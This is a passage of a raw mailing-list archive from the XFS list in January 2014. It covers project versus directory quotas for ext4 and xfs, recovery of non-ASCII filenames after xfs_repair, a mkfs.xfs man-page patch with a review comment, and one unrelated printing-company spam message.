X-Barracuda-Connect: mail-pa0-f48.google.com[209.85.220.48] X-Barracuda-Start-Time: 1389773285 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144103 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Dave, On Mon, Dec 23, 2013 at 12:42:22PM +1100, Dave Chinner wrote: > On Sun, Dec 22, 2013 at 05:59:29PM +0800, Zheng Liu wrote: > > Hi all, > > > > As discussed with ext4 folks, I will try to make ext4 file system support > > directory quota (a.k.a., project id in xfs). > > Firstly, project quotas are not directory quotas. Project groups > are simply an aggregation of unrelated inodes with a specific > identifier (i.e. the project ID). Files accessable only to > individual users can shared project ID and hence be accounted to the > same quota, and hence accounting is independent of uid/gid. > > By themselves, project quotas cannot be used to implement direct > subtree quotas - thay requires help from a special inode flag that > is used on directory inodes: XFS_DIFLAG_PROJINHERIT > > This flag indicates that the directory and all inodes created in the > directory inherit the project ID of the directory. Hence the act of > creating a file in a XFS_DIFLAG_PROJINHERIT marked directory > associates the new file with s a specific project group. New > directories also get marked with XFS_DIFLAG_PROJINHERIT so the > behaviour is propagated down the directory tree. > > Now, there is nothing to stop us from having files outside the > inheritance subtree from also having the same project ID, and hence > be accounted to the same project group. Indeed, you can have > multiple sub-trees that all use the same project ID and hence are > accounted together. e.g. a project has subdirs in various > directories: > > /documentation/project_A > /src/project_A > /build/project_A > /test/project_A > ..... > /home/bill/project_A > /home/barry/project_A > /home/benito/project_A > /home/beryl/project_A > ..... > > All of these directories can be set up with the same project ID > and XFS_DIFLAG_PROJINHERIT flag, and hence all be accounted to the > same project quota, despite being separate, disconnected subtrees. > > IOWs, project groups are an accounting mechanism associated with the > inode's project ID, while XFS_DIFLAG_PROJINHERIT is a policy used > to direct how project IDs are applied. > > > For keeping consistency > > with xfs's implementation, I did some tests on xfs, and I summarized the > > result as following. This will help us understand what we can do and > > what we can't do. Please correct me if I miss doing some tests or mis- > > understand something. > > > > I just do some tests about rename/hardlink because they are the key > > issue from our discussion. > > > > + unaccounted dir > > x accounted dir > > > > rename(mv) > > ========== > > > > + -> +: ok > > > > + -> x: ok > > > > I use strace(1) to lookup which syscall is used, and I found that xfs > > will return EXDEV when mv(1) tries to use rename(2) to move a dir from > > a unaccounted dir to a accounted dir. Then mv uses creat(2)/read(2)/ > > write(2) syscalls to move this dir. > > That's purely an implementation detail, designed to simplify the > change of project ID for an inode. By forcing the new inode to be > created from scratch under the destination's project ID, we don't > have to care about whether rename needs to allocate or free source > directory metadata, what anonymous metadata was accounted to the > source project ID as the srouce file and directory was modified, > etc. It's as simple as this: > > /* > * If we are using project inheritance, we only allow renames > * into our tree when the project IDs are the same; else the > * tree quota mechanism would be circumvented. > */ > if (unlikely((target_dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) && > (xfs_get_projid(target_dp) != xfs_get_projid(src_ip)))) { > error = XFS_ERROR(EXDEV); > goto error_return; > } > > It also documents the policy for accounting directory tree quotas: > that quota is accounted for when moving *into* an accounted > directory tree, not when moving out of a directory tree. > > > x -> +: wrong (design by feature?) > > > > If we move a dir from a accounted dir to a unaccounted dir, the quota is > > still accounted. It seems that xfs don't remove project id from this > > dir and its subdirs/files on this case. > > That's the way the directory tree policy was designed: it's designed > to allow project quotas to account for individual files as well as > subtrees. Remember: projects are not confined to a single subtree > and directory tree accounting is done when moving *into* a > controlled tree, not the other way around. > > > x -> x: ok > > > > Xfs returns EXDEV error when mv(1) uses rename(2) to move a dir from a > > accounted dir to another accounted dir (These dirs have different > > project ids). Then mv(1) uses creat(1)/read(1)/write(1) syscalls to > > move this dir. > > > > summary: > > rename + x > > + ok ok (EXDEV) > > x wrong ok (EXDEV) > > > > hardlink(ln) > > ======== > > > > + -> +: ok > > > > + -> x: error > > > > Xfs also returns EXDEV error to forbid this operation. So that means > > that we don't allow users to do a hardlink for a file from a unaccount > > dir to a accounted dir. > > Of course - who do you account new changes to? It's the same problem > as linking across directory trees with different project IDs.... > > > > > x -> +: ok > > > > This operation can be executed and no any error is reported. After that > > the quota doesn't be changed. When both of two hardlinks are removed, > > the quota will be discharged. > > Consistent with the rename case - checking is done based on the > destination directory - you can link out to an uncontrolled > destination as the inode is still accounted to the project ID, but > you can't link into a controlled destination with a different > project ID. The check is identical to the one I quoted for rename > above. > > > As always, any comment or idea are welcome. > > I'd suggest that you implement project quotas, not directory quotas. > They are way more flexible than pure directory quotas, but with only > a few lines of code and a special directory flag they can be used to > implement directory subtree quotas.... Sorry for the delay. I really appreciate your detail explanation. Personally, I agree with you that we implement a project quota in ext4 and add a flag to support directory quota in order to keep consistency with xfs. But this still needs to be discussed with other ext4 folks. Later I will write a draft to describe my idea about project quota in ext4. That will let me collect more comments and suggestions. > > I'd also strongly suggest that you use the XFS userspace quota API > for managing project quotas, so that we can use the same management > tools and tests to verify that they behave the same. Please don't > invent a new version of the quota API to implement this - everything > you need ifor managing project/directory quotas is already there in > xfs_quota..... Frankly, I don't like this, really. Now we have quota-tool to manage the quota in ext4. So IMHO we'd better go on using this tool because it is natural for ext4 users. I still couldn't accept this fact that I need to install xfsprogs for using a feature of ext4. Further, it could make users puzzled because they use quota to control user/group quota in ext4, but it uses xfs_quota to control project quota. It could bring some troubles for the ext4 users who have written some scripts to manage their machines. Thanks, - Zheng From zach@kotlarek.com Wed Jan 15 02:21:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C81487F3F for ; Wed, 15 Jan 2014 02:21:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 825A2AC007 for ; Wed, 15 Jan 2014 00:21:44 -0800 (PST) X-ASG-Debug-ID: 1389774102-04bdf00fe06e59b0001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id BXZIHUg0sXL2k5qu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 15 Jan 2014 00:21:42 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from [172.19.7.2] (unknown [74.93.97.69]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id 03BF658019; Wed, 15 Jan 2014 00:21:39 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389774101; bh=LiI748sIHhaqHmF3bEkpPwrGs1Cm99JMQQpQRDwE5co=; h=Content-Type:Mime-Version:Subject:From:In-Reply-To:Date:Cc: Message-Id:References:To; b=M2EGdTazIzZeZmhlSYCxNrfyAMdmG15+s7lykstCTOmd4EQNrLBcdq4vH8aeQ0yyB whKhLdruLbBCzaVbpCFwQ1O8Rg6Wiv+ImgY3LEuxPrcrpIEphGNcdaPL28kJxJBJpb JVGTIUxxJ2ZgRO9MDJZodcyfaUpaAqS02owRxhjg= Content-Type: multipart/signed; boundary="Apple-Mail=_1C98CBF1-7221-4651-BD51-BCAB4A87B7D7"; protocol="application/pkcs7-signature"; micalg=sha1 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Files with non-ASCII names inaccessible after xfs_repair From: Zachary Kotlarek X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair In-Reply-To: <20140115063722.GW3469@dastard> Date: Wed, 15 Jan 2014 00:21:35 -0800 Cc: xfs@oss.sgi.com Message-Id: <2BDD1F72-33BF-4CB1-B466-C22889F3486D@kotlarek.com> References: <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> <20140115015350.GR3469@dastard> <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> <20140115034803.GT3469@dastard> <1E5E569C-2E11-42A1-A771-89D4800BC412@kotlarek.com> <20140115063722.GW3469@dastard> To: Dave Chinner X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389774102 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144104 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --Apple-Mail=_1C98CBF1-7221-4651-BD51-BCAB4A87B7D7 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 14, 2014, at 10:37 PM, Dave Chinner wrote: > Sure. Can you write a patch to add explanation that explain the > problem you've had? Will do. >> Theoretically I could find the expected hashvals and overwrite >> them with xfs_db, right? >=20 > In theory, but hashvals need to be ordered correctly and that > potentially means having to update btree node pointers and all sorts > of other complexities. xfs_db is really not designed to rewrite > directory structures manually. It occurs to me the other way around is probably easier anyway =97 = change the name entry to something ASCII-only (of the same byte length) = and let xfs_repair rebuild the hash. That=92s what got me into this = mess, so by cartoon logic it should fix things if I do it again. ;-) After testing that theory on a metadata dump I spun up an LVM snapshot, = where it also seems to work. So that gets me back into a functional = state, but given all the mucking I think I=92ll restore a clean FS again = anyway. Thanks again for your help. Zach --Apple-Mail=_1C98CBF1-7221-4651-BD51-BCAB4A87B7D7 Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 X4u8MWKN16MBjw+bqdSs6moVCwlCDVAm8Q1vCY1FxKs+ZsjgeB0vAgMBAAGjezB5MAkGA1UdEwQC MAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQW BBTt0O5opEZ9Srh5RU4Hfd3aV56InTAfBgNVHSMEGDAWgBS5ajfQuD4tDDqutQ8fwKFw6YlRwzAN BgkqhkiG9w0BAQUFAAOCAgEAdEPKAfGyGcWI/mUERK9nml7MmQb+1chyK3Di85dMuvdtz4E4KA0U lkc92ddyJKMtsYzi9sjh3EVFTwZQ0Drs3GRwulnpn8uCkSf0nQNJSjr8zAdaIQdPdyzUTHDzV+Jn jPBsHxUV5W91HkXIEEajLdCtQNnRIIuoratGlIvJRwsyokVoUSrlo+/sRi1P7DopMzF1i91AyUuR BfUT0LtC17SGos9P6JiyqQQBtHild2uJZOZM9lSEvhCS25KTEB0aG12TSZmG7aD6ySo4UtPRtLO7 lD2VTuBNhgfIzfES2aqStrPVTqatwbgw+FJjJWHvuBhT1toj9IQZY6pIlo5rIJmOrFUwviHro2Bn tXXEg55vZ/uWnjcWJDj45RoGCPSNx2pb3xuSdltd/POXaT4e6bssZ+ovDvJ2w0eVWakfJNu9uL85 giOcDFFRj9pBBF+t3IWAxsVSxfiAiNCIc6XoP4kW1j6l/P2k2fYj+exwnq2OlkSWANbdAi1/Fa0W W+mLAXrIV1LMnjlCNzH5wYiM2Ljoea7nBFL3rSs3N1eMau4PhsCVaD2AH+oNNuMK5mAvdlHMC6SU iifrsFjHJUeI79FGhx+ktHKAZcKUfalcU4FKo2Tph4ypYaQn75690YvfcQpp7KyMIGf7rUm7dA+A LiHDsAb947E/fgdTEb/rsDwxggRmMIIEYgIBATCBkTCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgM Cldhc2hpbmd0b24xEDAOBgNVBAcMB1NlYXR0bGUxHDAaBgNVBAoME1phY2hhcnkgUC4gS290bGFy ZWsxFTATBgNVBAMMDHViZXJ6YWNoLmNvbTEgMB4GCSqGSIb3DQEJARYRemFjaEBrb3RsYXJlay5j b20CAQEwCQYFKw4DAhoFAKCCAakwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B CQUxDxcNMTQwMTE1MDgyMTM2WjAjBgkqhkiG9w0BCQQxFgQU2lXNFUsfv2wDg0cEWiRBJ2NHQPQw gaIGCSsGAQQBgjcQBDGBlDCBkTCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgMCldhc2hpbmd0b24x EDAOBgNVBAcMB1NlYXR0bGUxHDAaBgNVBAoME1phY2hhcnkgUC4gS290bGFyZWsxFTATBgNVBAMM DHViZXJ6YWNoLmNvbTEgMB4GCSqGSIb3DQEJARYRemFjaEBrb3RsYXJlay5jb20CAQEwgaQGCyqG SIb3DQEJEAILMYGUoIGRMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4G A1UEBwwHU2VhdHRsZTEcMBoGA1UECgwTWmFjaGFyeSBQLiBLb3RsYXJlazEVMBMGA1UEAwwMdWJl cnphY2guY29tMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxhcmVrLmNvbQIBATANBgkqhkiG9w0B AQEFAASCAgCjB5TsR/AuIqZRh3hiJRBoq+CJxuBi4WpsqXZHTkAaK3++m2F8CulLSdSXHIVZ6ooZ /FL6mTNIGHQgLTW34KmAVT4w5YuaVVBqRmzhIh/cCJzVKp25XEDOdNGLI+3nw0bAV/yTZ2J+B5eu AbfEQWiWppWXiOGIiXMh1o2CwsO9GWLNaGJ3y1ggeZM1tEShb2wI+DfUFX2/1GgBazEfUSp1aO3i DyaoujUZ63H4xycUOoEee/H8tAggf4BGifQHZmxYaOWn+JDcXz9Ua56kq06TnaLGXgagG6FJEfLI WJ00fcigkZg/qHkcjY2XTX6inxhRF6+ULCvaw7nRopNzsIZNEUA0sYEBZ3eTlrmKGqjHC6q9AvxP wr32aViUSYegGRvJf2LlZWc47OKT30qZFDJsz05Ialmh/LdPjP2BaEK1XYZZd1XQ4BwmKFoxDsZI J1z2dNYTLkfHLFd6w/qV96ywZ7bzuzu81DMfy6GaOGg+Gf3mve221GgqIH9YMw2HOJ08Oxiva5zq uRjA9+IG98vX33tn8fj/+9ZeCWKKhMUItPMKXdhoUz8E++vCbhABYRTFVfdPUzK4h5HJmpKNFu3b GMGhtLfCLFTR7ZreGI/hNCvOVeSPBrpLNENgCSm+gziC5PvTX/PzTo3BlhTZ5RIiHTaa4SRSK7Dx Uu3F8pffHQAAAAAAAA== --Apple-Mail=_1C98CBF1-7221-4651-BD51-BCAB4A87B7D7-- From sterilecvb@gmail.com Wed Jan 15 02:42:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1386E7F3F for ; Wed, 15 Jan 2014 02:42:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E93768F8040 for ; Wed, 15 Jan 2014 00:42:48 -0800 (PST) X-ASG-Debug-ID: 1389775367-04cb6c537cdcf5b0001-NocioJ Received: from mail-pd0-f195.google.com (mail-pd0-f195.google.com [209.85.192.195]) by cuda.sgi.com with ESMTP id x4dPjPQ6E0EqjUwJ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 15 Jan 2014 00:42:47 -0800 (PST) X-Barracuda-Envelope-From: sterilecvb@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.192.195 X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.195] Received: by mail-pd0-f195.google.com with SMTP id q10so558558pdj.2 for ; Wed, 15 Jan 2014 00:42:47 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.195] X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.195] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=pQHf1NHzbpPw7hldFO8lhhc4v8HvS2keDqYWknAdDac=; b=U+gaF7tX5/s/V7/SFrsOyoDYSPWIOC25giY/7OR/KS9bwGFLFEd8lSZWHj15R3xfWo Iz55AgkaGUyH+kiJLwPEh3p80nlivtoBoXhcROtSzsfCUu3XMqLzaOiX8FekbKkq8wyH uTLC852EdoF0MrroF95rZnCGMmk5LEcL53L9yNPFneMcN951mFmra7TYMh5aZi01nzqX 1+ZhLDZ9vbZstBdLSXpAPqBbshgrVRxseuesfo81LOVj/ewjuSuOMN9tRuT19T7uWsTI S0h+rKeh6WYtb1pUm/wEZ44lonrV4UIqfvYSLXNReArMhfG86KTOvRpXiFrMFkwE+ICh jlfw== MIME-Version: 1.0 X-Received: by 10.68.162.131 with SMTP id ya3mr1221239pbb.102.1389775367101; Wed, 15 Jan 2014 00:42:47 -0800 (PST) Received: by 10.70.91.68 with HTTP; Wed, 15 Jan 2014 00:42:46 -0800 (PST) Date: Wed, 15 Jan 2014 16:42:46 +0800 Message-ID: Subject: color box, display box, corrugated box, color card, blister card, color sleeve, hang tag, label From: Jinghao Printing - CHINA X-ASG-Orig-Subj: color box, display box, corrugated box, color card, blister card, color sleeve, hang tag, label To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=047d7b6d7c2e12fa7b04effe4bcb X-Barracuda-Connect: mail-pd0-f195.google.com[209.85.192.195] X-Barracuda-Start-Time: 1389775367 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 85a87bd685456535e7df0276525f49dd-228-txt X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144104 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --047d7b6d7c2e12fa7b04effe4bcb Content-Type: text/plain; charset=ISO-8859-1 Hi, this is David Wu from Shanghai, China. We are a printing company, we can print color box, corrugated box, label, hang tag etc. Please let me know if you need these. I will send you the website then. Best regards, David Wu --047d7b6d7c2e12fa7b04effe4bcb Content-Type: text/html; charset=ISO-8859-1
Hi, this is David Wu from Shanghai, China.
We are a printing company, we can print color box, corrugated box, label, hang tag etc.
Please let me know if you need these.

I will send you the website then.

Best regards,
David Wu


--047d7b6d7c2e12fa7b04effe4bcb-- From profplump@vera.uberzach.com Wed Jan 15 03:10:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 864E07F3F for ; Wed, 15 Jan 2014 03:10:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6F04E8F8064 for ; Wed, 15 Jan 2014 01:10:18 -0800 (PST) X-ASG-Debug-ID: 1389777015-04bdf0568e2a4a40001-NocioJ Received: from vera.uberzach.com (vera.uberzach.com [74.93.97.68]) by cuda.sgi.com with ESMTP id OLu3ZN8bHQXPMw3r (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 15 Jan 2014 01:10:17 -0800 (PST) X-Barracuda-Envelope-From: profplump@vera.uberzach.com X-Barracuda-Apparent-Source-IP: 74.93.97.68 Received: by vera.uberzach.com (Postfix, from userid 1000) id 94BB27E00B; Wed, 15 Jan 2014 09:10:14 +0000 (UTC) From: Zachary Kotlarek To: xfs@oss.sgi.com Cc: Zachary Kotlarek Subject: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Date: Wed, 15 Jan 2014 01:09:36 -0800 X-ASG-Orig-Subj: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Message-Id: <1389776976-28900-1-git-send-email-zach@kotlarek.com> X-Mailer: git-send-email 1.7.2.3 X-Barracuda-Connect: vera.uberzach.com[74.93.97.68] X-Barracuda-Start-Time: 1389777016 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144104 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --- man/man8/mkfs.xfs.8 | 6 ++++-- 1 files changed, 4 insertions(+), 2 deletions(-) diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 index 8184e10..7f965b0 100644 --- a/man/man8/mkfs.xfs.8 +++ b/man/man8/mkfs.xfs.8 @@ -513,9 +513,11 @@ any power of 2 size from the filesystem block size up to 65536. .IP The .B version=ci -option enables ASCII only case-insensitive filename lookup and version +option enables ASCII-only case-insensitive filename lookup and version 2 directories. Filenames are case-preserving, that is, the names -are stored in directories using the case they were created with. +are stored in directories using the case they were created with. In this +mode non-ASCII file and directory names are not supported are are likely +to become inaccessible if used. .IP Note: Version 1 directories are not supported. .TP -- 1.7.2.3 From sgosse@sgi.com Wed Jan 15 09:43:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7DB7D7F3F for ; Wed, 15 Jan 2014 09:43:55 -0600 (CST) Received: from xmail.sgi.com (pv-excas3-dc21.corp.sgi.com [137.38.106.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DC79DAC007; Wed, 15 Jan 2014 07:43:51 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.247]) by pv-excas3-dc21.corp.sgi.com ([137.38.106.11]) with mapi id 14.03.0123.003; Wed, 15 Jan 2014 09:43:51 -0600 From: Shaun Gosse To: Zachary Kotlarek , "xfs@oss.sgi.com" Subject: RE: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Thread-Topic: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Thread-Index: AQHPEdGh0t+XQuyDvkWcdI++ave2lpqF7QZQ Date: Wed, 15 Jan 2014 15:43:51 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708644AA776@P-EXMB2-DC21.corp.sgi.com> References: <1389776976-28900-1-git-send-email-zach@kotlarek.com> In-Reply-To: <1389776976-28900-1-git-send-email-zach@kotlarek.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [128.162.232.152] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Just a typo, you have "are are" and I think you mean "and are". Thanks for finding this, reporting, and making the patch! Definitely an imp= ortant part of that option to document. Cheers, -Shaun -----Original Message----- From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of= Zachary Kotlarek Sent: Wednesday, January 15, 2014 3:10 AM To: xfs@oss.sgi.com Cc: Zachary Kotlarek Subject: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode --- man/man8/mkfs.xfs.8 | 6 ++++-- 1 files changed, 4 insertions(+), 2 deletions(-) diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 index 8184e10..7f965= b0 100644 --- a/man/man8/mkfs.xfs.8 +++ b/man/man8/mkfs.xfs.8 @@ -513,9 +513,11 @@ any power of 2 size from the filesystem block size up = to 65536. .IP The .B version=3Dci -option enables ASCII only case-insensitive filename lookup and version +option enables ASCII-only case-insensitive filename lookup and version 2 directories. Filenames are case-preserving, that is, the names -are stor= ed in directories using the case they were created with. +are stored in directories using the case they were created with. In=20 +this mode non-ASCII file and directory names are not supported are are=20 +likely to become inaccessible if used. .IP Note: Version 1 directories are not supported. .TP -- 1.7.2.3 _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Wed Jan 15 09:54:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E20747F4E for ; Wed, 15 Jan 2014 09:54:04 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7F762AC004 for ; Wed, 15 Jan 2014 07:54:04 -0800 (PST) X-ASG-Debug-ID: 1389801242-04bdf0568e2b3700001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id BY3bM7sY3tloH5ZN for ; Wed, 15 Jan 2014 07:54:02 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher 